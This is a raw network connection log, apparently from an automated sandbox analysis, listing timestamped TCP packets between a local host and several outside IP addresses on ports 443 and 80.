Apr 15, 2025 20:06:33.439034939 CEST	443	49738	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.439074039 CEST	49738	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.440646887 CEST	49738	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.440661907 CEST	443	49738	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.494932890 CEST	443	49739	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.495064974 CEST	443	49739	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.495117903 CEST	49739	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.498490095 CEST	49739	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.498513937 CEST	443	49739	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.533915997 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.533963919 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.533993006 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534013033 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.534045935 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534070015 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534085035 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.534092903 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534106016 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534115076 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.534148932 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.534154892 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534245968 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534302950 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534305096 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.534316063 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534351110 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.534358978 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534372091 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.534403086 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.536561966 CEST	443	49740	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.536673069 CEST	443	49740	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.536730051 CEST	49740	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.541481972 CEST	49740	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.541518927 CEST	443	49740	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.546907902 CEST	443	49742	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.547027111 CEST	443	49742	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.547091007 CEST	49742	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.551676989 CEST	49742	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.551712990 CEST	443	49742	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.639847040 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.639900923 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.639940023 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.639940977 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.639971972 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.639990091 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640002966 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640012026 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640041113 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640047073 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640070915 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640085936 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640093088 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640119076 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640139103 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640140057 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640150070 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640166998 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640193939 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.640198946 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.640229940 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.745623112 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.745655060 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.745693922 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.745732069 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.745768070 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.745784044 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.745784998 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.745819092 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.746124029 CEST	49741	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.746138096 CEST	443	49741	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.766475916 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.766520023 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.766582966 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.766740084 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.766783953 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.766829014 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.766904116 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.766938925 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.767273903 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.767355919 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.767366886 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.767478943 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.767491102 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.767685890 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.767699957 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.771264076 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.771300077 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.771359921 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.771461010 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:33.771472931 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:33.992753983 CEST	49678	443	192.168.2.10	20.189.173.26
Apr 15, 2025 20:06:34.018280983 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.018373013 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.018832922 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.018845081 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.019133091 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.019464970 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.021713018 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.021792889 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.021946907 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.022028923 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.022125006 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.022138119 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.022388935 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.022430897 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.022448063 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.022691965 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.022785902 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.022969961 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.025928020 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.026083946 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.026113987 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.026181936 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.026187897 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.064263105 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.064275980 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.068276882 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.256191969 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.256297112 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.256436110 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.256639004 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.256659985 CEST	443	49747	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.256669998 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.257067919 CEST	49747	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295227051 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295373917 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295460939 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295506001 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295538902 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295552969 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295598984 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295653105 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295653105 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295659065 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295733929 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295773983 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295803070 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295808077 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295820951 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295928955 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.295984030 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.295995951 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.296031952 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.296094894 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.296098948 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.296130896 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.296200991 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.296206951 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.297627926 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.297676086 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.297739029 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.297786951 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.302768946 CEST	49745	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.302798986 CEST	443	49745	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.304234028 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.304260015 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.304394960 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.304681063 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.304693937 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.305407047 CEST	49744	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.305430889 CEST	443	49744	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.346810102 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401423931 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401458979 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401500940 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401559114 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401585102 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401595116 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401637077 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401683092 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401684046 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401695013 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401710987 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401746988 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401751995 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401777983 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401829958 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.401854992 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401869059 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.401873112 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.455046892 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.507097960 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507155895 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507188082 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507209063 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507229090 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507236958 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507253885 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507261992 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507360935 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.507378101 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507402897 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507432938 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.507432938 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.507481098 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.507500887 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.507810116 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.507810116 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.555782080 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.556143045 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.556176901 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.556350946 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.556360006 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.813407898 CEST	49746	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.813437939 CEST	443	49746	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.831811905 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.831887960 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:34.831975937 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.832732916 CEST	49748	443	192.168.2.10	76.76.21.21
Apr 15, 2025 20:06:34.832751036 CEST	443	49748	76.76.21.21	192.168.2.10
Apr 15, 2025 20:06:36.408610106 CEST	49678	443	192.168.2.10	20.189.173.26
Apr 15, 2025 20:06:41.219059944 CEST	49678	443	192.168.2.10	20.189.173.26
Apr 15, 2025 20:06:42.217200994 CEST	80	49717	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:42.217293024 CEST	49717	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:42.312784910 CEST	49672	443	192.168.2.10	204.79.197.203
Apr 15, 2025 20:06:42.486638069 CEST	49717	80	192.168.2.10	216.24.57.1
Apr 15, 2025 20:06:42.592998981 CEST	80	49717	216.24.57.1	192.168.2.10
Apr 15, 2025 20:06:48.479547024 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.479597092 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.479662895 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.479837894 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.479849100 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.482594013 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.482633114 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.486274958 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.486418009 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.486429930 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.699496031 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.699630022 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.707650900 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.707745075 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.708998919 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.709017992 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.709280968 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.709393978 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.709418058 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.709624052 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.709692955 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.709860086 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.752280951 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.756274939 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.938792944 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.938832998 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.938915014 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.938952923 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.939043999 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.939096928 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.955878019 CEST	49749	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:48.955919027 CEST	443	49749	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:48.994664907 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.994852066 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.994923115 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.995610952 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.995632887 CEST	443	49750	3.161.136.8	192.168.2.10
Apr 15, 2025 20:06:48.995647907 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:48.995673895 CEST	49750	443	192.168.2.10	3.161.136.8
Apr 15, 2025 20:06:49.086855888 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.086906910 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.087018967 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.087173939 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.087188005 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.302566051 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.302653074 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.303169966 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.303185940 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.303431988 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.303762913 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.348273039 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.513135910 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.513211966 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.513257980 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.513276100 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.513526917 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.513576031 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.514333010 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.514353991 CEST	443	49751	192.0.73.2	192.168.2.10
Apr 15, 2025 20:06:49.514365911 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:49.514401913 CEST	49751	443	192.168.2.10	192.0.73.2
Apr 15, 2025 20:06:50.828779936 CEST	49678	443	192.168.2.10	20.189.173.26
Apr 15, 2025 20:07:03.150945902 CEST	49696	443	192.168.2.10	5.161.110.119
Apr 15, 2025 20:07:03.150974989 CEST	443	49696	5.161.110.119	192.168.2.10
Apr 15, 2025 20:07:11.341799021 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.341861010 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:11.341948986 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.342263937 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.342278004 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:11.653283119 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:11.653456926 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.809345961 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.809395075 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:11.810082912 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:11.865262032 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.879858017 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:11.924268961 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.031088114 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.031220913 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.031312943 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.032279015 CEST	49754	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.032304049 CEST	443	49754	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.146882057 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.146927118 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.147094965 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.147233963 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.147254944 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.151484966 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.151504993 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.151568890 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.151731968 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.151741982 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.450565100 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.450649977 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.452059984 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.452069998 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.452374935 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.452671051 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.453334093 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.453403950 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.453887939 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.453893900 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.454128981 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.454638004 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.500271082 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.500286102 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.753635883 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.753731966 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.753786087 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.754851103 CEST	49756	443	192.168.2.10	173.231.16.77
Apr 15, 2025 20:07:12.754873037 CEST	443	49756	173.231.16.77	192.168.2.10
Apr 15, 2025 20:07:12.826659918 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.826961040 CEST	443	49757	66.33.22.4	192.168.2.10
Apr 15, 2025 20:07:12.827018976 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.827286959 CEST	49757	443	192.168.2.10	66.33.22.4
Apr 15, 2025 20:07:12.827306032 CEST	443	49757	66.33.22.4	192.168.2.10
